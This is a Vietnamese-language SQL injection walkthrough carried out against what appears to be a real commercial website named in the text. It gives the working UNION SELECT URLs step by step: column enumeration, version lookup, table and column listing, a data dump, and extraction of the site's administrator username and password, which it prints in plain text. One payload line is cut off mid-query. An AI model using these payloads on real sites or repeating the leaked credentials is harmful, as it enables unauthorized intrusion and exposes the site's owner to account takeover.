Web hiển thị lỗi query từ SQL, vậy trang web có lỗ hổng SQL Injection
Để thực hiện lệnh UNION SELECT(Lệnh kết hợp nhiều lệnh SELECT, ta cần biết số cột của lệnh truy vấn trước vì câu lệnh SELECT sau cần có số cột đúng bằng câu lệnh trước
Sử dụng extension Hackbar trên chrome do trên url kí tự khoảng trống “ ” không được dùng, thay vào đó là cụm mã hóa %20
Nhập vào extension url http://www.nhuaphucthinh.com.vn/product.php?id=20 order by 10-- và
chọn execute để kiểm tra số cột <= 10
Website hoạt động bình thường, tiếp tục với lệnh “order by 11--” hoạt động bình thường, với lệnh “order by 12--”, website không hiển thị sản phẩm, vậy số cột của câu lệnh trước là 11
Nhập url http://www.nhuaphucthinh.com.vn/product.php?id=-20 union select 1,2,version(),4,5,6,7,8,9,10,11 from information_schema.tables where
table_schema=database()--
Trong đó:
-ID của sản phẩm để số âm hoặc null để xem được trường dữ liệu trả về
-Information_schema là tập hợp các dạng chỉ đọc về tất cả các bảng, dạng xem, cột và thủ tục trong cơ sở dữ liệu.
-Version(): Lấy dữ liệu phiên bản hệ quản trị CSDL
Thực hiện ta có phiên bản hệ quản trị CSDL website là 5.1.68.
Tiếp tục nhập url http://www.nhuaphucthinh.com.vn/product.php?id=-20 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11 from information_schema.tables where table_schema=database()-- để lấy tên các bảng trong CSDL
Nhập url
http://www.nhuaphucthinh.com.vn/product.php?id=-20 union select
where table_name='countries'-- để lấy tên các cột trong bảng “countries”, ta được tên các cột: CouID,CouName,CouIsoCode2,CouIsoCode3,CouAddressFormatID, có thể làm tương tự với các bảng khác.
Nhập urlhttp://www.nhuaphucthinh.com.vn/product.php?id=-20 union select 1,2,group_concat(CouID," ",CouName," ",CouIsoCode2," ",CouIsoCode3,"
",CouAddressFormatID),4,5,6,7,8,9,10,11 from countries-- để lấy dữ liệu từ các cột của bảng “countries”
Ta cũng có thể tìm thấy username và password của người quản trị trong CSDL:
http://www.nhuaphucthinh.com.vn/product.php?id=-20union
select1,2,group_concat(AdmUsername,’|’,AdmPassword),4,5,6,7,8,9,10,11 from administrator
Kết quả trả về: duyvuong1979|03091979